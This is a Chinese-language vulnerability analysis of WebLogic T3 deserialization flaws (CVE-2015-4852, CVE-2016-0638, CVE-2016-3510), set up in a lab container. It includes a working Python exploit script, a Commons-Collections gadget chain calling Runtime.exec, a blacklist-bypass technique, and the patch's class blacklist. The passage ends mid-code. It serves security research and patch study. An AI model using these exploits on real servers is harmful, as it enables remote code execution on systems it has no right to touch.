Java安全之Weblogic漏洞分析与利用

简介

官方介绍:Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。类似于Tomcat、Jboss等。
安装
Windows下的安装教程:https://www.cnblogs.com/xrg-blog/p/12779853.html
Linux下的安装教程:https://www.cnblogs.com/vhua/p/weblogic_1.html
其他

漏洞合集

反序列化漏洞

在weblogic中反序列化漏洞主要分为两种,一种是基于T3协议的反序列化漏洞,还一种是基于XML的反序列化漏洞

基于T3协议

前置知识

T3协议概述:在RMI通信过程中,正常传输反序列化的数据过程中,通信使用的是JRMP协议,但是在weblogic的RMI通信过程中使用的是T3协议
特点

  • 服务端可以持续追踪监控客户端是否存活,即为心跳机制
  • 通过建立一次连接可以将全部数据包传输完成

数据交换过程

结构
T3协议中包含请求包头和请求包体两部分
请求头:
以下面的CVE-2015-4852中的exp请求为例,第一步客户端向服务器发送请求头,得到服务端的响应,抓包分析:

1
sudo tcpdump -i ens160 port 7001 -w t3.pcap
1
2
3
4
5
6
7
8
// 表示协议版本号或者数据包类型等信息的字段
t3 12.2.3
// 标识了发送的序列化数据的容量
AS:255
// 标识自己后面发起的t3的协议头长度
HL:19
// Maximum Segment Size
MS:10000000

服务端的响应:

1
2
3
HELO:10.3.6.0.false
AS:2048
HL:19

HELO后面会返回一个weblogic版本号

请求体:
蓝色部分就是响应,下面部分就是请求体,构造的恶意类就在其中

请求头+请求体:

  • 每个T3数据包中都包含T3协议头
  • 数据包的前4个字节标识了数据包的长度
  • 序列化数据的头部二进制为aced0005
  • 长度标识后面的一个字节标识了该数据包是请求还是响应,01表示请求,02表示响应

根据T3协议的特点,在攻击的时候只需要将恶意的反序列化数据进行拼接即可,参考一张图:

CVE-2015-4852

环境搭建
使用QAX-A-Team的weblogic搭建环境:https://github.com/QAX-A-Team/WeblogicEnvironment
同时需要下载JDK和weblogic,并将其对应放入项目的jdk文件夹和weblogic文件夹,版本的兼容性测试在项目的README文件兼容性测试中提到,按照要求下载对应版本即可
构建docker并运行

1
2
sudo docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
sudo docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

访问http://10.140.32.159:33401/console/login/LoginForm.jsp,用户名weblogic,密码:qaxateam01
设置远程调试:
运行对应版本的sh脚本,安装远程调试并从docker中导出jar包

1
sudo ./run_weblogic1036jdk7u21.sh

在项目目录中会生成middleware文件夹,将其导出放入IDEA中并配置远程调试
新建一个IDEA项目,导入modules和wlserver,建立远程运行

测试:在weblogic/rjvm/InboundMsgAbbrev.class的readObject函数中下断点,使用weblogic漏洞扫描工具扫描
最后能够停在断点处则表示远程调试设置成功

漏洞复现
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
JAR_FILE = '../ysoserial-all.jar'
popen = subprocess.Popen(['C:/Program Files/Java/jdk1.7.0_80/bin/java.exe', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return

print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)

if __name__ == "__main__":
host = "10.140.32.159"
port = 33401
gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
command = "touch /tmp/CVE-2015-4852"

payload = get_payload1(gadget, command)
exp(host, port, payload)

执行完成后,查询是否新建CVE-2015-4852文件

命令执行成功

漏洞分析
在weblogic/rjvm/InboundMsgAbbrev.class的readObject函数中下断点,执行exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {
// 从输入流var1中读取一个字节,并将其赋值给变量var2,该字节表示序列化对象的类型
int var2 = var1.read();
switch (var2) {
case 0:
// 需要读取一个自定义的序列化类型的对象
// 进入这里
return (new ServerChannelInputStream(var1)).readObject();
case 1:
// 表示需要读取一个ASCII字符串
return var1.readASCII();
default:
throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");
}
}

由于var2的值是0,所以会进入ServerChannelInputStream的readObject函数

这里的ServerChannelInputStream是一个内部类,实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
private final ServerChannel serverChannel;

private ServerChannelInputStream(MsgAbbrevInputStream var1) throws IOException {
super(var1);
this.serverChannel = var1.getServerChannel();
}

public ServerChannel getServerChannel() {
return this.serverChannel;
}

// 这是ServerChannelInputStream类重写的ObjectInputStream类的方法,它在反序列化Java对象时负责解析类,将类的序列化描述符加工成该类的Class对象
protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException {
// 调用父类的resolveClass方法
Class var2 = super.resolveClass(var1);
if (var2 == null) {
throw new ClassNotFoundException("super.resolveClass returns null.");
} else {
ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);
// 检查解析出来的Java类与要解析的类是否具有相同的serialVersionUID
if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {
throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID());
} else {
return var2;
}
}
}
}

其中在构造方法中,调用getServerChannel函数处理T3协议,获取socket相关信息

父类(即ObjectInputStream)的resolveClass方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

其中通过Class.forName,根据类名来获取对应类的Class对象

函数调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readClass:1481, ObjectInputStream (java.io)
readObject0:1331, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
defaultReadObject:499, ObjectInputStream (java.io)
readObject:331, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
defaultReadFields:1989, ObjectInputStream (java.io)
readSerialData:1913, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:308, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

接下来就是ysoserial中Jdk7u21链的部分,这里可以更改exp中的参数,使用CC链也可
这里将gadget参数更改为CommonsCollections1,使用CC1链
函数调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy96 (com.sun.proxy)
readObject:346, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:-1, GeneratedMethodAccessor89 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

修复
在出现这个漏洞之后,weblogic增加了一些安全防护,防护方案主要从resolveClass入手,如图:

由上面可知,resolveClass函数的作用是从类序列化描述符获取类的Class对象,而具体的防御措施就是在这个函数中增加一个检查,检测序列化描述符是否出现在设置的黑名单中
总结
weblogic反序列化攻击流程图:

反序列化攻击时序图:

参考
WeblogicT3反序列化浅析之cve-2015-4852
Weblogic反序列化漏洞利用入门——CVE-2015-4852

CVE-2016-0638

环境搭建
在CVE-2015-4852环境的基础上打上补丁p20780171_1036_Generic和p22248372_1036012_Generic,命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
sudo docker cp ./p20780171_1036_Generic weblogic1036jdk7u21:/p20780171_1036_Generic
sudo docker cp ./p22248372_1036012_Generic weblogic1036jdk7u21:/p22248372_1036012_Generic

sudo docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/middleware/utils/bsu
mkdir cache_dir
vi bsu.sh 编辑MEM_ARGS参数为1024
cp /p20780171_1036_Generic/* cache_dir/
./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=EJUW -prod_dir=/u01/app/oracle/middleware/wlserver/

cp /p22248372_1036012_Generic/* cache_dir/
./bsu.sh -install -patch_download_dir=/u01/app/oracle/middleware/utils/bsu/cache_dir/ -patchlist=ZLNA -prod_dir=/u01/app/oracle/middleware/wlserver/ –verbose


重启weblogic服务

1
/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh

有可能使用上面命令无法重启weblogic服务,可以使用stopWeblogic.sh先关闭服务,此时容器应该也会关闭,重新启动容器即可
测试补丁是否打成功,继续使用CVE-2015-4852的exp,观察是否创建文件
设置远程调试:

1
2
3
4
5
mkdir wlserver1036
mkdir coherence_3.7
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/server/lib ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

将这些包导入IDA,设置远程IP和端口,详细过程参考CVE-2015-4852远程配置
补丁分析
分析InboundMsgAbbrev.class的resolveClass函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
// 该类名在ClassFilter.isBlackListed()方法中被列入黑名单,则抛出InvalidClassException异常,表示反序列化未被授权
if (className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
// 如果className不在黑名单中,则调用父类的resolveClass方法来解析该类
Class c = super.resolveClass(descriptor);
if (c == null) {
throw new ClassNotFoundException("super.resolveClass returns null.");
} else {
ObjectStreamClass localDesc = ObjectStreamClass.lookup(c);
if (localDesc != null && localDesc.getSerialVersionUID() != descriptor.getSerialVersionUID()) {
throw new ClassNotFoundException("different serialVersionUID. local: " + localDesc.getSerialVersionUID() + " remote: " + descriptor.getSerialVersionUID());
} else {
return c;
}
}
}
}

因此这里重点需要关注ClassFilter.isBlackListed函数,在CVE-2015-4852的研究中也提到,在防御过程中可以从resolveClass入手,在这两个补丁中则增加对传入的类名的判断。

继续使用CVE-2015-4852的exp进行测试,在weblogic/rjvm/InboundMsgAbbrev.class的resolveClass函数中下断点,F7单步进入来到weblogic/rmi/ClassFilter.class的isBlackListed函数,这个函数主要作用是判断传进来的类名是否在黑名单中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static boolean isBlackListed(String className) {
// 检查className的长度是否大于0,并且是否在BLACK_LIST(一个常量Set集合)中
if (className.length() > 0 && BLACK_LIST.contains(className)) {
return true;
} else {
String pkgName;
try {
// 找到最后一个“.”(点号)的位置,获取类名的包名部分
pkgName = className.substring(0, className.lastIndexOf(46));
} catch (Exception var3) {
return false;
}
// 如果获取包名成功,并且包名的长度大于0,那么再次检查pkgName是否在BLACK_LIST中
return pkgName.length() > 0 && BLACK_LIST.contains(pkgName);
}
}

其中BLACK_LIST包含的值如下:

这个HashSet的由来是在调用ClassFilter中的静态类方法前,会先执行static构造方法,将这些设定的类名存入BLACK_LIST中

1
2
3
4
5
6
7
8
9
10
11
12
static {
// 检查是否禁用了黑名单
if (!isBlackListDisabled()) {
// 检查是否禁用了默认的黑名单条目
if (!isDefaultBlacklistEntriesDisabled()) {
updateBlackList("+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure");
}
// 获取系统属性weblogic.rmi.blacklist的值。如果该属性存在且不为空,则调用updateBlackList()方法来添加该属性中定义的黑名单条目
updateBlackList(System.getProperty("weblogic.rmi.blacklist", (String)null));
}

}

这两个if判断应该与某个环境变量的设置有关,具体实现不再关注
在CVE-2015-4852的攻击过程中,会使用CC1链,里面用到了org .apache.commons.collections.functors.ChainedTransformer,这个类的包名在黑名单中,因此这里会返回true,从而导致在resolveClass中抛出异常

ClassFilter.isBlackListed方法同样作用于MsgAbbrevInputStream的resolveClass方法,对其传入的类名进行了同样的黑名单过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
protected Class resolveClass(ObjectStreamClass descriptor) throws InvalidClassException, ClassNotFoundException {
// 通过synchronized关键字锁定了lastCTE对象,以保证线程安全
synchronized(this.lastCTE) {
// 获取类名
String className = descriptor.getName();
// 如果className不为空,并且其长度大于0,并且该类名在ClassFilter.isBlackListed()方法中被列入黑名单,则抛出InvalidClassException异常
if (className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
}
// 获取当前线程的类加载器ClassLoader
ClassLoader ccl = RJVMEnvironment.getEnvironment().getContextClassLoader();
// 如果lastCTE对象中的clz为null,或者lastCTE对象中的ccl不等于当前线程的类加载器ccl,则重新加载类
if (this.lastCTE.clz == null || this.lastCTE.ccl != ccl) {
String classname = this.lastCTE.descriptor.getName();
// 如果是PreDiablo的对等体,则调用JMXInteropHelper.getJMXInteropClassName()方法获取Interop的类名
if (this.isPreDiabloPeer()) {
classname = JMXInteropHelper.getJMXInteropClassName(classname);
}
// 从PRIMITIVE_MAP(一个Map集合)中获取classname对应的Class对象
this.lastCTE.clz = (Class)PRIMITIVE_MAP.get(classname);
// 如果获取失败,则调用Utilities.loadClass()方法,加载classname对应的Class对象
if (this.lastCTE.clz == null) {
this.lastCTE.clz = Utilities.loadClass(classname, this.lastCTE.annotation, this.getCodebase(), ccl);
}

this.lastCTE.ccl = ccl;
}

this.lastClass = this.lastCTE.clz;
}

return this.lastClass;
}

:MsgAbbrevInputStream用于反序列化RMI请求,将请求参数和返回结果转换为Java对象。InboundMsgAbbrev用于处理入站RMI请求,检查和验证请求的合法性,并保证请求的安全性和可靠性
补丁作用位置:

1
2
3
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

既然在ServerChannelInputStream与MsgAbbrevInputStream中都存在黑名单过滤,则

漏洞复现
使用工具weblogic_cmd来绕过补丁进行攻击
使用IDEA打开,使用JDK1.6,配置运行

1
-H "10.140.32.159" -C "touch /tmp/cve-2016-0638" -B -os linux

如果端口不是7001,可以使用-P参数,也可以在源码中直接修改

运行程序,如果出现sun.tools.asm包未找到,手动添加jdk6中的tools.jar包
在docker中查询是否命令执行成功

创建文件成功,成功绕过补丁
漏洞分析
这里分两步进行漏洞的分析,第一:此工具如何生成payload;第二:生成的payload如何绕过防护成功执行
第一:如何生成payload
观察main函数中的代码

1
executeBlind(host, port);

进入此函数

1
2
3
4
5
6
7
8
9
10
public static void executeBlind(String host, String port) throws Exception {

if (cmdLine.hasOption("B") && cmdLine.hasOption("C")) {
System.out.println("执行命令:" + cmdLine.getOptionValue("C"));
WebLogicOperation.blindExecute(host, port, cmdLine.getOptionValue("C"));
System.out.println("执行blind命令完成");
System.exit(0);
}

}

这里的输出步骤正是执行一次控制台输出的信息,因此关键信息在WebLogicOperation.blindExecute中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void blindExecute(String host, String port, String cmd) throws Exception {
String[] cmds = new String[]{cmd};
// 根据操作系统选择执行命令的程序
if (Main.cmdLine.hasOption("os")) {
if (Main.cmdLine.getOptionValue("os").equalsIgnoreCase("linux")) {
cmds = new String[]{"/bin/bash", "-c", cmd};
} else {
cmds = new String[]{"cmd.exe", "/c", cmd};
}
}
// 关键步骤
// 将需要执行的命令传入该函数,生成payload
byte[] payload = SerialDataGenerator.serialBlindDatas(cmds);
// 将payload发送至目标weblogic
T3ProtocolOperation.send(host, port, payload);
}

生成payload的关键又在于SerialDataGenerator.serialBlindDatas方法

1
2
3
public static byte[] serialBlindDatas(String[] execArgs) throws Exception {
return serialData(blindExecutePayloadTransformerChain(execArgs));
}

这里的命令执行参数被两层方法包裹,里面那层有关是与CC链有关,外面那层根据方法名应该是将payload的序列化后返回
先看blindExecutePayloadTransformerChain方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static Transformer[] blindExecutePayloadTransformerChain(String[] execArgs) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String[].class}, new Object[]{execArgs}),
new ConstantTransformer(new HashSet())};
return transformers;
}

果然这是一条TransformerChain,再看serialData函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static byte[] serialData(Transformer[] transformers) throws Exception {
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
// 初始化map 设置laymap
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

InvocationHandler handler = (InvocationHandler) Reflections
.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, lazyMap);

final Map mapProxy = Map.class
.cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(),
new Class[]{Map.class}, handler));

handler = (InvocationHandler) Reflections.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, mapProxy);

Object _handler = BypassPayloadSelector.selectBypass(handler);
return Serializables.serialize(_handler);
}

其实这些过程很明显是CC1链的构造过程,与众不同的是倒数第二句代码BypassPayloadSelector.selectBypass,进入该函数

1
2
3
4
5
6
7
8
9
public static Object selectBypass(Object payload) throws Exception {

if (Main.TYPE.equalsIgnoreCase("marshall")) {
payload = marshalledObject(payload);
} else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) {
payload = streamMessageImpl(Serializables.serialize(payload));
}
return payload;
}

这里需要根据TYPE选择对应的处理方法,先看TYPE=streamMessageImpl的处理方法,他先将我们前面构造好的payload进行序列化,然后使用streamMessageImpl函数进行处理

1
2
3
4
5
6
public static Object streamMessageImpl(byte[] object) throws Exception {

StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}

这里创建了一个StreamMessageImpl对象,并通过setDataBuffer方法将序列化后的数据存入该对象的buffer属性,然后返回StreamMessageImpl对象
调用链

1
2
3
4
5
6
7
8
setDataBuffer:906, StreamMessageImpl (weblogic.jms.common)
streamMessageImpl:29, BypassPayloadSelector (com.supeream.weblogic)
selectBypass:38, BypassPayloadSelector (com.supeream.weblogic)
serialData:45, SerialDataGenerator (com.supeream.serial)
serialBlindDatas:95, SerialDataGenerator (com.supeream.serial)
blindExecute:43, WebLogicOperation (com.supeream.weblogic)
executeBlind:62, Main (com.supeream)
main:198, Main (com.supeream)


然后再回到serialData函数中,执行最后一条语句,返回对StreamMessageImpl对象序列化后的数据

最后返回blindExecute方法,执行最后一句,将payload按照T3协议发送至目标
如果在BypassPayloadSelector.selectBypass函数中,TYPE是marshall,会进入marshalledObject方法

1
2
3
4
5
6
7
8
9
private static Object marshalledObject(Object payload) {
MarshalledObject marshalledObject = null;
try {
marshalledObject = new MarshalledObject(payload);
} catch (IOException e) {
e.printStackTrace();
}
return marshalledObject;
}

此处将payload封装进了marshalledObject对象,MarshalledObject是Java标准库中的一个类,用于将Java对象序列化为字节数组,并能够在网络上传输或存储在磁盘上,后面步骤和上面一致,对该对象进行序列化

第二:生成的payload如何成功利用
在ServerChannelInputStream.resolveClass下断点,使用weblogic_cmd工具向目标发送payload

此时的className正是序列化的第一层,指向weblogic.jms.common.StreamMessageImpl,此类名不在黑名单中,故可以绕过isBlackListed方法

之所以采用StreamMessageImpl,是因为当StreamMessageImpl类的readExternal执行时,会反序列化传入的参数并调用该参数反序列化后对应类的这个readObject方法
在StreamMessageImpl类中的readExternal下断点
函数调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
readExternal:1396, StreamMessageImpl (weblogic.jms.common)
readExternalData:1835, ObjectInputStream (java.io)
readOrdinaryObject:1794, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

该函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
byte var2 = var1.readByte();
byte var3 = (byte)(var2 & 127);
if (var3 >= 1 && var3 <= 3) {
switch (var3) {
// 如果消息类型为1,则表示该消息是一个普通的消息。该方法将从ObjectInput中读取PayloadStream对象,并将其用ObjectInputStream进行反序列化,最后将反序列化后的Java对象通过writeObject方法写入消息中
case 1:
// 从ObjectInput对象中读取PayloadStream对象,并将其作为InputStream对象传递给createPayload方法
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
// 将从PayloadStream对象中获取一个BufferInputStream对象,并将其作为参数传递给ObjectInputStream类的构造函数
BufferInputStream var4 = this.payload.getInputStream();
ObjectInputStream var5 = new ObjectInputStream(var4);
this.setBodyWritable(true);
this.setPropertiesWritable(true);

try {
while(true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
try {
this.reset();
this.setPropertiesWritable(false);
PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();
this.payload = var7;
} catch (JMSException var8) {
JMSClientExceptionLogger.logStackTrace(var8);
}
} catch (MessageNotWriteableException var10) {
JMSClientExceptionLogger.logStackTrace(var10);
} catch (javax.jms.MessageFormatException var11) {
JMSClientExceptionLogger.logStackTrace(var11);
} catch (JMSException var12) {
JMSClientExceptionLogger.logStackTrace(var12);
}
break;
//如果消息类型为3,则表示该消息是一个压缩消息。如果消息的高位字节不为0,则表示消息是经过压缩的,该方法将调用readExternalCompressedMessageBody方法读取压缩后的消息内容
case 3:
if ((var2 & -128) != 0) {
this.readExternalCompressedMessageBody(var1);
break;
}
// 如果消息类型为2,则表示该消息是一个流消息。该方法将从ObjectInput中读取PayloadStream对象,并将其作为消息的PayloadStream对象进行设置
case 2:
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
}

} else {
throw JMSUtilities.versionIOException(var3, 1, 3);
}
}

其中var4是正常反序列化后的数据

其buf的值和第一次payload反序列化后是一样的
然后将var4实例化成一个ObjectInputStream对象,即var5,在try中,var5调用了readObject方法,即实现了真实payload的反序列化
总结
绕过原理:先将恶意的反序列化对象封装在StreamMessageImpl对象中,然后再对StreamMessageImpl对象进行反序列化,将生成的payload发送至目标服务器。
目标服务器拿到payload字节码后,读取到类名StreamMessageImpl,此类名不在黑名单中,故可以绕过resolveClass中的过滤。在调用StreamMessageImpl的readObject时,底层会调用其readExternal方法,对封装的序列化数据进行反序列化,从而调用恶意类的readObject函数
修复
2016年4月p22505423_1036_Generic发布的补丁
在weblogic.jms.common.StreamMessageImpl的readExternal方法创建的ObjectInputStream换成了自定义的FilteringObjectInputStream,并在其中对类进行了过滤,使用网上的一张图

参考
Java安全之Weblogic 2016-0638分析 - nice_0e3 - 博客园 (cnblogs.com)
CVE-2016-3510:Weblogic反序列化分析
weblogic漏洞分析之CVE-2016-0638

CVE-2016-3510

漏洞分析
此漏洞的利用方式与CVE-2016-0638一致,只不过这里不再借助StreamMessageImpl类,而是借助MarshalledObject类
继续分析weblogic_cmd代码,结合下面代码

1
2
3
4
5
6
7
8
9
public static Object selectBypass(Object payload) throws Exception {

if (Main.TYPE.equalsIgnoreCase("marshall")) {
payload = marshalledObject(payload);
} else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) {
payload = streamMessageImpl(Serializables.serialize(payload));
}
return payload;
}

前面提到,TYPE为streamMessageImpl时,会选择StreamMessageImpl作为绕过黑名单的类,而TYPE为marshall时,则选择MarshalledObject作为绕过黑名单的类
进入marshalledObject方法,此时传递的参数是恶意的对象

1
2
3
4
5
6
7
8
9
private static Object marshalledObject(Object payload) {
MarshalledObject marshalledObject = null;
try {
marshalledObject = new MarshalledObject(payload);
} catch (IOException e) {
e.printStackTrace();
}
return marshalledObject;
}

这里将第一层payload作为参数实例化一个MarshalledObject对象并返回,观察MarshalledObject类的构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public MarshalledObject(Object var1) throws IOException {
